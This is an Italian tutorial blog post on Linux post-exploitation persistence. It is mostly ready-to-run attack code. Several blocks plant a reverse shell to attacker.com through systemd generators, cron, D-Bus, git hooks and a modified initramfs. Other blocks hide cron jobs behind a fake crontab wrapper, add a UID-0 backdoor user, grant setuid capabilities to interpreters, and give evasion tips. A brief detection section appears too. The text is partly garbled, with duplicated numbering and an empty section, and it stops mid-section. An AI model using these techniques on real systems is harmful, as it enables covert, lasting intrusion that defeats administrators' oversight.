linux

Linux Persistence: Tecniche di Persistenza Post-Exploitation

Linux Persistence: Tecniche di Persistenza Post-Exploitation

Guida alla Linux persistence post-exploitation: systemd, cron, SSH, udev, LKM, capabilities e altri meccanismi di persistenza su Linux.

  • Pubblicato il 2026-09-25
  • Tempo di lettura: 23 min

Linux Persistence: Come Mantenere l’Accesso Dopo un Reboot #

La Linux persistence è l’insieme di tecniche utilizzate durante la fase di post-exploitation per mantenere l’accesso a un sistema anche dopo un riavvio. In un penetration test, l’obiettivo è analizzare quali meccanismi di avvio, servizi e componenti del sistema possono essere utilizzati per ottenere un’esecuzione automatica e persistente.

In questa guida analizziamo i principali meccanismi di persistenza presenti su Linux, tra cui systemd, cron, SSH, udev, D-Bus, kernel module, capabilities, initramfs e package manager. Per ogni tecnica vedremo come funziona, dove viene configurata e quali tracce può lasciare sul sistema.

Nota: le tecniche sono trattate in un contesto di penetration testing autorizzato e servono anche a comprendere come individuare e rimuovere meccanismi di persistenza.

Blocco 1.1: Systemd Service (Persistent Daemon) #

Cos’è: Systemd è il sistema di init e service manager utilizzato da molte distribuzioni Linux. Durante il boot, systemd legge le unità configurate nel sistema e avvia i servizi definiti al loro interno.

Un servizio configurato correttamente può quindi essere eseguito automaticamente all’avvio del sistema, rendendo systemd uno dei meccanismi più importanti da conoscere quando si analizza la persistenza su Linux.

bash
cat > /etc/systemd/system/monitor.service << 'EOF'
[Unit]
Description=Monitor Service
After=network.target

[Service]
Type=simple
User=root
ExecStart=/usr/local/bin/.monitor
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl enable monitor
systemctl start monitor

Errore tipico: Dimenticare WantedBy=multi-user.target. Senza una corretta configurazione della sezione [Install], il servizio potrebbe non essere abilitato per l’avvio automatico.

Blocco 1.2: Systemd Timers (Scheduled Execution) #

Cos’è: Un timer è un file di systemd che dice “esegui questo comando a orari specifici” (come cron, ma più moderno). Richiede due file: uno che dice QUANDO, uno che dice COSA.

bash
cat > /etc/systemd/system/check.timer << 'EOF'
[Unit]
Description=Check Timer
[Timer]
OnBootSec=2min
OnUnitActiveSec=1h
Unit=check.service
[Install]
WantedBy=timers.target
EOF

cat > /etc/systemd/system/check.service << 'EOF'
[Unit]
Description=Check Service
[Service]
Type=oneshot
User=root
ExecStart=/opt/.check
EOF

systemctl daemon-reload && systemctl enable --now check.timer

Errore tipico: Scordare il file .service. Il timer ha bisogno di un servizio associato.

Blocco 1.3: Systemd Generators (Hidden Units) #

Cos’è: Un generator è uno script che systemd esegue al boot per creare file di configurazione al volo (in memoria, non su disco visibile). È più stealth perché il file unit non rimane su disco.

bash
cat > /etc/systemd/system-generators/gen-persist << 'EOF'
#!/bin/bash
mkdir -p /run/systemd/system
cat > /run/systemd/system/hidden.service << 'SVC'
[Unit]
Description=Hidden
[Service]
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"
Restart=always
[Install]
WantedBy=multi-user.target
SVC
echo "hidden.service"
EOF

chmod +x /etc/systemd/system-generators/gen-persist

Errore tipico: Generator non eseguibile (devi fare chmod +x).

2. Cron Jobs – Il Vecchio Affidabile #

Cos’è: Cron è un programma che esegue comandi a orari specifici (ogni minuto, ogni ora, ogni giorno, etc.). È sempre acceso in background e legge file dove tu scrivi “esegui questo comando alle 3 di mattina ogni giorno”.

Blocco 2.1: Cron User (User Crontab) #

Cos’è: Cron per un singolo utente. Scrivi il comando una volta e cron lo esegue automaticamente agli orari che dici.

bash
# Aggiungi alla crontab dell'utente corrente
(crontab -l 2>/dev/null; echo "*/5 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1") | crontab -

Cosa significa la linea: */5 * * * * = ogni 5 minuti. Il comando è quello dopo.

Errore tipico: Se l’utente digita crontab -l, vede il comando. Non è stealth.

Blocco 2.2: Cron System (/etc/cron.d/) #

Cos’è: Cron di sistema, accessibile solo a root. I file qui dentro vengono eseguiti come root e i comandi girano in background senza che l’utente normale lo veda.

bash
echo "root */5 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1" > /etc/cron.d/update-check
chmod 644 /etc/cron.d/update-check

Errore tipico: Dimenticare il campo root (il primo campo in /etc/cron.d/ è l’utente). La sintassi è diversa da user crontab.

Blocco 2.3: Rocke Malware – Crontab Binary Hijacking #

Cos’è: Rocke è un malware che hijacka il comando crontab stesso. Quando l’admin digita crontab -l per vedere i job, il comando malevolo filtra il risultato e nasconde i job di rocke.

bash
# Backup il vero crontab
cp /usr/bin/crontab /usr/bin/crontab.real

# Sostituisci con un wrapper che nasconde i job malevoli
cat > /usr/bin/crontab << 'FAKE'
#!/bin/bash
if [[ "$@" == *"-l"* ]]; then
  /usr/bin/crontab.real "$@" | grep -v "attacker.com"
  exit 0
fi
/usr/bin/crontab.real "$@"
FAKE

chmod +x /usr/bin/crontab

# Aggiungi il job malevolo (invisibile quando listiamo)
/usr/bin/crontab.real << 'EOF'
* * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1
EOF

Errore tipico: Il wrapper non è eseguibile (dimenticare chmod +x).

Perché funziona: L’admin digita crontab -l e vede una crontab pulita (il wrapper ha filtrato il job malevolo). Ma il job gira comunque perché cron legge direttamente il file, non passa per il comando crontab.

Blocco 2.2: /etc/cron.d/ (Root Cron, Meno Visibile) #

bash
cat > /etc/cron.d/sysstat << 'EOF'
*/5 * * * * root /opt/.beacon >> /dev/null 2>&1
EOF

chmod 644 /etc/cron.d/sysstat

Vantaggi:

  • Non in crontab -l (è un file, non in crontab database)
  • Eseguito come root (non come utente)
  • Nascondi il nome: sysstat sembra legittimo

Blocco 2.3: rc.local / init.d Persistence #

Su sistemi con SysVinit (non systemd), puoi aggiungere uno script di startup:

bash
# rc.local viene eseguito al boot (prima di servizi utente)
# Su Ubuntu/Debian: /etc/rc.local

cat >> /etc/rc.local << 'EOF'
#!/bin/sh
/usr/local/bin/.startup-hook &
exit 0
EOF

chmod +x /etc/rc.local

# Oppure crea uno script in /etc/init.d
cat > /etc/init.d/custom-service << 'INITSCRIPT'
#!/bin/sh
### BEGIN INIT INFO
# Provides:          custom-service
# Required-Start:    $network
# Required-Stop:
# Default-Start:     2 3 4 5
# Default-Stop:
# Description:       Custom Service
### END INIT INFO

case "$1" in
  start)
    /usr/local/bin/.startup-hook &
    ;;
  stop)
    ;;
esac
INITSCRIPT

chmod +x /etc/init.d/custom-service

# Registra il servizio
update-rc.d custom-service defaults
# o per RHEL: chkconfig custom-service on

Effetto:

  • /etc/rc.local viene eseguito al boot prima di qualsiasi servizio
  • /etc/init.d è meno visibile di systemd (admin più disattenti)
  • Sopravvive ai reboot

Limitazione: Meno affidabile su sistemi moderni (systemd). Su Ubuntu 16.04+ rc.local è deprecato.

Blocco 2.4: Anacron (Se Cron Non È Affidabile) #

Su alcuni laptop, cron non gira se il sistema è spento. Anacron gira i cron job mancati al prossimo boot.

bash
cat > /etc/anacrontab << 'EOF'
1       0       beacon-monitor  /usr/local/bin/.beacon
EOF

Effetto: Al boot, anacron verifica se beacon-monitor è stato eseguito. Se no, lo esegue. Sopravvive ai reboot irregolari.

3. D-Bus Service Persistence – IPC System Abuse #

Cos’è: D-Bus è un sistema che permette ai programmi Linux di comunicare tra loro. Se registri un servizio falso in D-Bus, viene eseguito automaticamente come root al boot.

Blocco 3.1: System-Wide D-Bus Persistence #

Cos’è: Un file service in /usr/share/dbus-1/system-services/ che dice a D-Bus “quando parti, esegui questo comando”.

bash
cat > /usr/share/dbus-1/system-services/org.evil.persistence.service << 'EOF'
[D-BUS Service]
Name=org.evil.persistence
Exec=/usr/local/bin/.dbus-shell
User=root
EOF

cat > /usr/local/bin/.dbus-shell << 'SCRIPT'
#!/bin/bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1 &
exit 0
SCRIPT

chmod +x /usr/local/bin/.dbus-shell

Errore tipico: Dimenticare di rendere il script eseguibile (chmod +x). D-Bus non può eseguire uno script che non ha permessi di esecuzione.

Blocco 3.2: User-Level D-Bus Persistence #

Cos’è: D-Bus per un singolo utente (non root). Viene eseguito quando quell’utente fa login.

bash
mkdir -p ~/.local/share/dbus-1/services

cat > ~/.local/share/dbus-1/services/org.user.persistence.service << 'EOF'
[D-BUS Service]
Name=org.user.persistence
Exec=/home/user/.local/bin/.session-shell
EOF

chmod +x /home/user/.local/bin/.session-shell

Errore tipico: Usare path assoluto se l’utente cambia. Usa ~ o /home/username.

4. SSH Persistence – Accesso Silenzioso e Duraturo #

Cos’è: SSH è il protocollo per accedere da remoto a un Linux. Se metti la tua chiave pubblica in ~/.ssh/authorized_keys dell’utente, puoi accedere senza password finché quella chiave non viene rimossa.

Blocco 4.1: SSH Authorized Keys Injection #

Cos’è: Aggiungi la tua chiave pubblica al file authorized_keys della vittima. SSH controllerà il file e vi permetterà di accedere senza password.

bash
echo "ssh-rsa AAAA...TUACHIAVE attacker@persist" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

Errore tipico: Permessi sbagliati. Il file deve essere 600 (readable/writable solo dal proprietario), altrimenti SSH lo rifiuta per sicurezza.

Blocco 4.2: SSH Config Backdoor #

Cos’è: Invece di mettere la chiave nel file authorized_keys che l’admin potrebbe rimuovere, modifica il file di configurazione SSH (/etc/ssh/sshd_config) per leggere da un percorso alternativo che tu controlli.

bash
echo "AuthorizedKeysFile .ssh/authorized_keys /etc/ssh/admin_key" >> /etc/ssh/sshd_config
echo "ssh-rsa AAAA...TUACHIAVE admin" > /etc/ssh/admin_key
chmod 600 /etc/ssh/admin_key
systemctl restart sshd

Errore tipico: Dimenticare di riavviare SSH (systemctl restart sshd). La config non viene ricaricata automaticamente.

Blocco 4.3: Backdoor User with UID=0 #

Cos’è: Crea un utente falso con UID=0 (permessi di root). L’admin che legge /etc/passwd potrebbe non accorgersi se il nome è simile a un utente legittimo.

bash
echo "admin-backup:x:0:0:root:/root:/bin/bash" >> /etc/passwd
echo "admin-backup:$(openssl passwd -1 MyPassword123)" | chpasswd -e

Errore tipico: Scegliere un nome troppo sospetto (tipo “backdoor”, “evil”). Usa nomi che sembrano legittimi (“admin-backup”, “system-user”).

Limitazione: Se l’admin esegue cat /etc/passwd | grep ":0:" scopre subito che ci sono due utenti con UID=0.

5. LKM (Loadable Kernel Module) Rootkit – Kernel-Level Persistence #

Un LKM è codice che il kernel carica in memoria durante runtime. Non è hardcoded nel kernel, è caricabile/scaricabile dinamicamente tramite il comando insmod (insert module).

Perché è utile per persistence? Perché un rootkit LKM può:

  • Nascondere processi: Hooking la syscall getdents64 (usata da ls, find) per filtrare processi dal output. Kernel non mostra il processo, userspace tools non lo vedono.
  • Nascondere file: Hooking stat, open, readdir per nascondere file specifici dal filesystem.
  • Nascondere connessioni di rete: Hooking le syscall di rete per nascondere socket/porta.

Il meccanismo di sopravvivenza: ogni volta che il sistema boota, il rootkit è ancora caricato? NO, a meno che tu non lo auto-carica. Soluzione: aggiungi il comando insmod /path/to/rootkit.ko in uno script di startup (systemd, rc.local, initramfs). Così al boot, il rootkit si carica da solo.

Limitazione: è visibile se l’admin fa lsmod (lista moduli caricati) o guarda /proc/modules. Rootkit più moderni si nascondono persino da lsmod (hooking il file /proc/modules).

Blocco 5.1: LKM Rootkit Diamorphine (Esempio Operativo) #

Per sopravvivenza massima: installa un kernel module che gira invisibile nel kernel.

Concetto: Il Kernel è Re #

Niente in userspace (ps, netstat, ls) può vederti se ti nascondi nel kernel. LKM è il massimo stealth.

Blocco 4.1: LKM Semplice (Diamorphine Fork) #

bash
# Diamorphine è un LKM open-source che:
# - Nasconde processi
# - Nasconde file
# - Nasconde connessioni di rete
# - Concede accesso root via ioctl

# Scarica e compila
git clone https://github.com/m0nad/Diamorphine
cd Diamorphine
make

# Installa
insmod diamorphine.ko

# Usa (nasconde pid 1234)
echo 1234 > /proc/diamorphine

Effetto: Processi non visibili in ps, file nascosti, connessioni nascoste. Root access tramite ioctl calls.

Problema: Richiede accesso root e compilazione kernel headers. Non sempre possibile.

Blocco 4.2: eBPF Rootkit (Moderno, Stealthier) #

eBPF (extended Berkeley Packet Filter) è una tecnologia moderna che permette di eseguire bytecode verificato dentro il kernel senza caricare un modulo LKM.

Il vantaggio rispetto a LKM: eBPF è bytecode caricato via syscall bpf(), non è un file .ko. Non appare in lsmod o /proc/modules. È verificato dal kernel (non può crashare il sistema), quindi è più stabile. Ma sparisce al reboot (a meno che non lo riauto-carichi da uno script di boot).

Come funziona: scrivi un programma eBPF in C che hooking una syscall specifica (tipo open, execve). Ogni volta che quella syscall viene invocata, il tuo codice eBPF corre nel kernel prima che la syscall sia eseguita. Puoi modificare il comportamento (bloccare, loggare, modificare argomenti).

Esempio operativo: hooka la syscall open. Quando un processo prova ad aprire un file con il nome “secret”, il tuo eBPF ritorna un errore (-1). Il file rimane inaccessibile. Il processo vede solo “permission denied”, non sa che c’è un hook kernel che lo blocca.

bash
# eBPF program (in C, compilato con clang)
#include <linux/bpf.h>
#include <linux/ptrace.h>

SEC("tracepoint/syscalls/sys_enter_open")
int trace_open(struct trace_event_raw_sys_enter *ctx) {
    char filename[256];
    bpf_probe_read_kernel_str(&filename, sizeof(filename), ctx->args[0]);
    
    // Se il filename contiene "secret", nega l'accesso
    if (strstr(filename, "secret")) {
        return -1; // Simula errore
    }
    return 0;
}

Per caricare il bytecode compilato:

bash
clang -O2 -target bpf -c hook.c -o hook.o
bpftool prog load hook.o type tracepoint

Effetto: Blocca accesso a file “secret” trasparentemente dal kernel. Niente processo userspace, pure kernel-level. Invisibile se non sai dove guardare (processi vedono solo errori di accesso).

5. Udev Rules – Trigger Automatici su Device Events #

Udev è il device manager di Linux. Ogni volta che un device (USB, scheda di rete, disco esterno) viene collegato o viene rilevato, udev legge i file di configurazione in /etc/udev/rules.d/ e esegue azioni definite in quei file.

Come attacker: se aggiungi una udev rule che dice “quando device X viene aggiunto, esegui il mio script”, il tuo script gira automaticamente con privilegi root (perché udev è privilegiato). Il trigger non dipende da user interaction: il system lo fa da solo.

Scenario pratico: il sistema viene rebooted (device di rete viene “riattivato” dal kernel durante boot sequence). Udev lo vede, matcha la tua rule, esegui il tuo comando. Ospite.

Come funziona una rule: una udev rule è una singola linea che dice “se le condizioni MATCH, allora RUN questi comandi”. Una rule matcha quando tutte le condizioni sono vere. ACTION=="add" significa “quando il device è aggiunto”. SUBSYSTEM=="net" significa “il device è una scheda di rete”. Se entrambi true, RUN+=... viene eseguito.

bash
cat > /etc/udev/rules.d/99-persist.rules << 'EOF'
ACTION=="add", SUBSYSTEM=="net", RUN+="/usr/local/bin/.net-check"
EOF

Questa rule: ogni volta che il kernel aggiunge una scheda di rete (al boot, o quando viene collegato un USB NIC), udev esegue /usr/local/bin/.net-check come root.

Scenario di trigger: System wake-up, network reconnection, USB device hotplug → esecuzione automatica.

Limitazione rilevanza: Richiede privilegi di sistema per modificare /etc/udev/rules.d/. E se il device target non viene mai aggiunto (esempio: aggiungi una rule per un device che non esiste sulla macchina), il trigger non accade mai.

6. Git Hooks – Developer Machines con Repository #

Git è un version control system usato dagli sviluppatori. Ogni repository git ha una cartella .git/hooks/ dove puoi mettere script che si eseguono automaticamente in risposta a certe azioni git (tipo git pull, git commit, git merge).

Come attacker su una dev machine: se comprometti il sistema e il developer ha dei repo git locali, puoi aggiungere un hook nella cartella .git/hooks/ del repository. Ogni volta che lo sviluppatore fa git pull o git merge, il tuo hook si esegue automaticamente con i permessi dello sviluppatore.

Il vantaggio: lo sviluppatore non lo vede facilmente. Fa git pull, riceve gli aggiornamenti dal repo, e senza che se ne accorga, il tuo hook gira in background. Il workflow di sviluppo rimane normale.

Come funziona: Git esegue gli script in .git/hooks/ prima o dopo certe operazioni. Il nome del file determina quando si esegue:

  • post-merge: dopo un merge (tipo git pull, che è essenzialmente git fetch + git merge)
  • post-checkout: dopo un checkout di branch
  • post-commit: dopo un commit (locale)
bash
# Crea hook post-merge (trigga dopo git pull/merge)
cat > .git/hooks/post-merge << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/attacker.com/4444 0>&1 &
EOF

chmod +x .git/hooks/post-merge

Meccanismo: Ogni volta che lo dev fa git pull, git esegue il post-merge hook. Il hook avvia una reverse shell verso il tuo attacker box.

Limitazione: Funziona solo su macchine dev che hanno repository git locali. E solo se il developer continua a fare git pull periodicamente (non è una execuzione garantita come cron o systemd).

7. Initramfs/Bootloader Persistence – Il Massimo della Profondità #

Il boot sequence Linux ha diversi stage. Quando accendi il computer:

  1. Bootloader (GRUB/LILO) → carica il kernel dal disco
  2. Kernel → si avvia, monta il filesystem root
  3. Initramfs → mini-filesystem che il kernel carica in memoria prima di montare il vero root. Contiene driver e script di bootstrapping
  4. Init system (systemd/SysVinit) → gestisce i servizi

Come attacker: se modifichi il bootloader o l’initramfs, il tuo codice gira prima di qualsiasi altro servizio, prima che l’admin abbia una shell. Sei dentro il kernel, prima che il filesystem vero sia montato. È il massimo livello di profondità (e di rischio per il sistema).

Blocco 7.1: Initramfs Injection #

L’initramfs è un file gzip cpio (un archivio). Puoi estrarlo, aggiungervi uno script, ricrearlo e rimpiazzare l’originale. Al boot, il kernel carica l’initramfs modificato e corre il tuo script.

bash
# Estrai initramfs corrente (è un archivio)
cd /tmp
mkdir initramfs
cd initramfs
zcat /boot/initrd.img-$(uname -r) | cpio -idmv

# Il file è stato decompresso. Vedi il contenuto (sono script shell normali)
ls -la
# Output: bin/, sbin/, etc/, init (script principale)

# Aggiungi il tuo script di bootstrapping
mkdir -p init.d
echo '#!/bin/sh' > init.d/99-persist.sh
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1 &' >> init.d/99-persist.sh
chmod +x init.d/99-persist.sh

# Ricrea l'archivio
find . | cpio -o -H newc | gzip > /boot/initrd.img.evil

# Backup dell'originale (sempre)
cp /boot/initrd.img-$(uname -r) /boot/initrd.img-$(uname -r).bak

# Rimpiazza con la versione modificata
cp /boot/initrd.img.evil /boot/initrd.img-$(uname -r)

Meccanismo: Al boot, il kernel carica il tuo initramfs modificato. Esegue gli script in init.d/, incluso il tuo 99-persist.sh. Il tuo codice gira prima che systemd, cron, o qualunque altra cosa abbia una chance. È l’accesso più profondo possibile nel sistema.

Limitazione: Molto rischioso. Se sbagli l’archivio, il sistema non bootable. Testa sempre in una VM. E UEFI Secure Boot lo può bloccare se abilitato.

Blocco 7.2: GRUB Bootloader Backdoor (Avanzato) #

8. Capability-Based Persistence – Stealthier del SUID #

Blocco 8.0: Come Funzionano le Linux Capabilities – Il Concetto #

Tradizionalmente, su Unix il modello di privilegio è binario: o sei root (UID=0, puoi tutto) o sei un utente normale (UID>0, quasi non puoi niente). Nel 1992, Linux introdusse le capabilities: una frammentazione dei privilegi di root in circa 40 unità granulari.

Ogni capability rappresenta un privilegio specifico:

  • CAP_SETUID: Puoi chiamare setuid() per diventare qualunque utente (normalmente solo root può farlo)
  • CAP_SYS_ADMIN: Accesso a un sacco di operazioni amministrative (mount, ioctl, quotactl, etc.)
  • CAP_DAC_OVERRIDE: Puoi leggere/scrivere file ignorando i permessi classici (r/w/x bits)
  • CAP_NET_ADMIN: Configurare interfacce di rete, firewall, etc.

Normalmente, solo il processo root ha tutte le capabilities. Ma puoi assegnare capabilities specifiche a un binario usando il comando setcap. Quando quel binario viene eseguito, il processo eredita le capabilities specifiche, e può fare cose che normalmente solo root potrebbe fare.

Blocco 8.1: Come Il Kernel Enforces Capabilities – Storage & Inheritance #

Quando tu usi setcap cap_setuid+ep /usr/bin/python3, il kernel salva la capability nel filesystem come extended attribute (xattr) del file binario.

L’attributo si chiama security.capability ed è memorizzato nel inode del file. Quando il kernel esegue il binario, legge questo attributo e assegna le capabilities al processo.

Cosa significa cap_setuid+ep:

  • cap_setuid: La capability specifica
  • +ep: Set le flags “Effective” e “Permitted” (il processo può usare questa capability subito)

Come persiste:

  1. Salvi la capability nel binario con setcap
  2. Ogni volta che il binario viene eseguito, il kernel legge l’xattr security.capability
  3. Il processo eredita la capability automaticamente
  4. Se il binario rimane sul sistema (sopravvive ai reboot), la capability rimane

Blocco 8.2: Perché È Invisibile – Extended Attributes #

Qui è il trucco: le extended attributes non compaiono in ls -la. Il comando ls mostra solo i permessi classici (r/w/x bits e SUID bit). Per vedere le capabilities, devi usare getcap:

bash
# Assegna capability a Python
setcap cap_setuid+ep /usr/bin/python3

# ls NON mostra nulla di diverso
ls -la /usr/bin/python3
# Output: normal permissions, nothing suspicious

# Ma getcap lo vede
getcap /usr/bin/python3
# Output: /usr/bin/python3 = cap_setuid+ep

Perché è un vantaggio per l’attacker: Un admin che legge ls -la /usr/bin/python3 non vede nulla strano. L’attacker ha “nascosto” il privilegio dentro un extended attribute che ls ignora.

Contrast con SUID: Se usi chmod u+s /usr/bin/python3, l’output di ls -la diventa:

text
-rwsr-xr-x root python3

La s è visibile (SUID bit). Qualunque admin che legge ls la vede. Capabilities sono più stealth.

Blocco 8.3: Exploit – Come Diventare Root Con Una Capability #

Una volta che una capability è assegnata al binario, il processo eredita la capability quando il binario viene eseguito. L’attacker può usare quella capability per escalare.

Esempio con Python e CAP_SETUID:

bash
# L'attacker assegna la capability (come root, durante il compromesso iniziale)
setcap cap_setuid+ep /usr/bin/python3

# Più tardi, un utente regolare esegue Python
# Il processo eredita CAP_SETUID automaticamente
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Cosa succede:

  1. L’utente regolare esegue python3
  2. Il kernel legge l’xattr security.capability su /usr/bin/python3
  3. Il processo Python eredita CAP_SETUID
  4. Python chiama os.setuid(0) (diventa UID=0)
  5. Normalmente questo fallisce (utente regolare non può fare setuid(0))
  6. Ma il processo ha CAP_SETUID, quindi la syscall succeed
  7. L’utente è ora root

Blocco 8.4: Setcap Persistence Setup – Rocke Malware Pattern #

L’attacker installa le capabilities durante la fase di compromise iniziale (quando ha root). Poi, quando un utente (anche regolare) esegue il binario compromesso, diventa root.

Setup completo:

bash
# Fase 1: Attacker compromette il sistema (root access via RCE, kernel exploit, etc.)
# Attacker vuole persistence che sopravviva anche se perde root access

# Installa libcap2-bin temporaneamente (il tool `setcap` proviene da qua)
apt-get install libcap2-bin

# Assegna capability a Python
setcap cap_setuid+ep /usr/bin/python3

# Rimuovi libcap2-bin per coprire tracce (il binario `setcap` scompare da /usr/bin)
apt-get remove libcap2-bin

# Adesso, anche se l'attacker perde root access, qualunque utente che esegue Python 
# diventa automaticamente root

Persistenza: Se il binario /usr/bin/python3 rimane sul sistema (spesso rimane, Python è essenziale), la capability rimane. Anche se il sistema è rebooted, la capability è salvata nell’xattr del filesystem.

Blocco 8.5: Multi-Binary Capability Chain – Ridondanza #

Un attacker astuto non usa una sola capability. Usa più binari:

bash
# Metti cap_setuid su Python
setcap cap_setuid+ep /usr/bin/python3

# Metti cap_setuid su Perl (linguaggio diverso, magari l'admin rimuove Python)
setcap cap_setuid+ep /usr/bin/perl

# Metti cap_dac_override su PHP (se è presente)
setcap cap_dac_override+ep /usr/bin/php

# Se l'admin scopre una e la rimuove (setcap -r /usr/bin/python3), 
# le altre rimangono funzionali

Questo è chiamato “capability chain” o “multi-vector persistence”: se una strada è chiusa, le altre rimangono aperte.

Blocco 8.6: Detection vs. Stealth #

Blue Team Detection:

bash
# Monitora i binari comuni per unexpected capabilities
getcap -r /usr/bin 2>/dev/null
getcap -r /usr/local/bin 2>/dev/null
getcap -r /opt 2>/dev/null

# Output sospetto: getcap ritorna capabilities su binari che non dovrebbero averle
/usr/bin/python3 = cap_setuid+ep  <-- SUSPICIOUS

Red Team Evasion:

  • Assegna capabilities a binari meno comuni (non Python, ma uno script custom in /usr/local/bin/.helper)
  • Combina con altre persistence (systemd service che esegue il binario compromesso)
  • Metti “junk capabilities” che non servono per confondere: setcap cap_net_admin,cap_dac_override,cap_setuid+ep /usr/bin/python3 (tutti assieme sono meno sospetti di solo cap_setuid)

9. Sedexp Udev Rules – Esecuzione su Device Events #

Blocco 9.0: Come Funziona Udev – Il Device Manager Di Linux #

Udev è il subsystem del kernel che gestisce i device (USB, dischi, schede di rete, etc.). Ogni volta che un device viene aggiunto, rimosso, o il suo stato cambia, udev è responsabile di:

  1. Creare/rimuovere i file device in /dev/
  2. Eseguire azioni definite (script, comandi) in base al device

Udev legge le sue regole da /etc/udev/rules.d/ (e /lib/udev/rules.d/ per le regole di sistema). Una regola udev è una singola linea che dice: “Se il device matcha QUESTE proprietà, esegui QUESTO comando”.

Cosa significa “matcha”:

  • Ogni linea di regola specifica condizioni (ACTION=="add", SUBSYSTEM=="net", ENV{MAJOR}=="1", etc.)
  • Se TUTTE le condizioni sono vere per un device, la regola matcha
  • Se matcha, i comandi dopo RUN+= vengono eseguiti

Blocco 9.1: Proprietà Dei Device – Cosa Puoi Matchare #

Ogni device in Linux ha proprietà. Esempi:

  • ACTION: “add” (device aggiunto), “remove” (rimosso), “change” (modificato)
  • SUBSYSTEM: Tipo di device (“net” per network, “usb” per USB, “block” per dischi, etc.)
  • DEVNAME: Nome del device file (/dev/sda, /dev/eth0, etc.)
  • ENV{MAJOR}, ENV{MINOR}: Numeri major/minor che identificano il device univocamente
  • DRIVER: Quale driver del kernel gestisce il device

Sedexp (AON malware, 2024) sfrutta questo per creare una regola che si triggera quando /dev/random viene “aggiunto” (al boot, il kernel carica random number generator). /dev/random ha major=1, minor=8.

Blocco 9.2: Il Comando RUN – Cosa Viene Eseguito #

Quando una regola matcha, i comandi dopo RUN+= vengono eseguiti. Il comando:

  • Viene eseguito come root (udev è privilegiato)
  • È eseguito sincronamente (udev aspetta che finisca prima di processare il prossimo device)
  • Può fallire silenziosamente o meno, dipende dalla configurazione

Blocco 9.3: Sedexp Real-World Pattern – AON Research (Agosto 2024) #

Sedexp è malware scoperto da AON (risk management firm, Stroz Friedberg incident response team). Usa udev rules per persistence e creditmgmt skimming.

bash
# La regola che sedexp installa
cat > /etc/udev/rules.d/99-persist.rules << 'EOF'
ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/opt/.asedexpb run"
EOF

Breakdown della regola:

  • ACTION=="add": Quando un device è aggiunto (primo match)
  • ENV{MAJOR}=="1": Il device ha major number 1 (primo match)
  • ENV{MINOR}=="8": Il device ha minor number 8 (primo match)
  • Combinati: Questa è /dev/random (major=1, minor=8)
  • RUN+=...: Se tutti i match sopra sono veri, esegui /opt/.asedexpb run

Quando triggera:

  • Al boot del sistema, il kernel carica il random number generator device
  • Udev lo vede come “aggiunto”
  • Tutti i match sono veri (major=1, minor=8, action=add)
  • La regola matcha
  • /opt/.asedexpb run viene eseguito come root, PRIMA che userspace inizi

Effetto: Il backdoor gira prima di qualunque servizio userspace, prima che init, systemd, cron, etc. comincino. È un livello di profondità simile a initramfs.

Blocco 9.4: Perché Questo È Devastante – Stealth E Persistenza #

  1. Non è un processo persistente: Non è un servizio systemd, non è in crontab. È una regola udev che triggera una volta al boot. Non rimane in memoria come daemon.
  2. Non visibile in systemctl, crontab -l, ps: I tool standard non lo rivelano. Un admin che controlla i servizi non lo vede.
  3. Non documentato in MITRE ATT&CK (a agosto 2024): Questa tecnica era così rara che MITRE non l’aveva categorizzata come procedura di persistence ufficiale. Meno conosciuta = meno likely da rilevare.
  4. Sopravvive ai reboot: La regola è salvata in /etc/udev/rules.d/ su disco. Al prossimo boot, udev la legge e la applica di nuovo.
  5. Al boot il malware ha root access: A differenza di cron che gira con permessi dello user, il malware udev gira come root (perché è udev che lo esegue).

Blocco 9.5: Evasione Tramite Memory Obfuscation #

Sedexp va oltre: nasconde il file della regola dalla memoria del processo udev. Usa tecniche di memory manipulation per modificare la memoria del processo udev in runtime, in modo che se un admin fa strace su udev o legge /proc/udev/, non vede la regola.

Questo è avanzato, ma il pattern è:

  1. La regola è scritta su disco in /etc/udev/rules.d/
  2. Udev la legge al boot
  3. Sedexp hijacka la memoria di udev e nasconde la regola
  4. Il file rimane su disco (puoi trovarla con cat /etc/udev/rules.d/), ma il processo udev non mostra di averla caricata

Blocco 9.6: Setup Operativo #

Come attacker, setup semplice:

bash
# Crea la regola
cat > /etc/udev/rules.d/99-custom.rules << 'EOF'
ACTION=="add", ENV{MAJOR}=="1", ENV{MINOR}=="8", RUN+="/usr/local/bin/.beacon start"
EOF

# Oppure, un device diverso (es: USB)
cat >> /etc/udev/rules.d/99-custom.rules << 'EOF'
ACTION=="add", SUBSYSTEM=="usb", RUN+="/usr/local/bin/.beacon usb"
EOF

# Trigger manuale (di solito non necessario, il boot triggera)
udevadm control --reload
udevadm trigger

Persistenza:

  • La regola rimane su disco nel filesystem
  • Al prossimo boot, udev la legge automaticamente
  • Sopravvive a kernel panic, shutdown, reboot
  • Rimane finché non è manualmente cancellata (rm /etc/udev/rules.d/99-custom.rules)

10. /etc/profile.d Shell Configuration Injection – Esecuzione al Login #

Blocco 10.0: Come Funziona Il Shell Login Sequence – /etc/profile e /etc/profile.d #

Quando un utente fa login su Linux (via SSH, console, o altro), la shell (bash, sh, zsh, etc.) deve inizializzarsi. Prima di dare un prompt, la shell esegue una serie di script di configurazione.

Il flow completo (per una login shell su bash):

  1. Kernel autentica l’utente (password/key)
  2. Kernel avvia /bin/bash -l per l’utente (login shell)
  3. Bash legge /etc/profile (se esiste) – script di sistema per TUTTI gli utenti
  4. Bash legge tutti i file in /etc/profile.d/ (se la directory esiste) – script di sistema, nome pattern *.sh
  5. Bash legge ~/.bash_profile (se esiste) – script personale dell’utente
  6. Solo dopo che tutti questi script sono eseguiti, bash dà il prompt all’utente

Timing: Questi script girano PRIMA che l’utente abbia una shell interattiva. Tutto ciò che metti in questi script viene eseguito automaticamente, il user vede solo il prompt dopo.

Blocco 10.1: Come L’Attacker Sfrutta Questo #

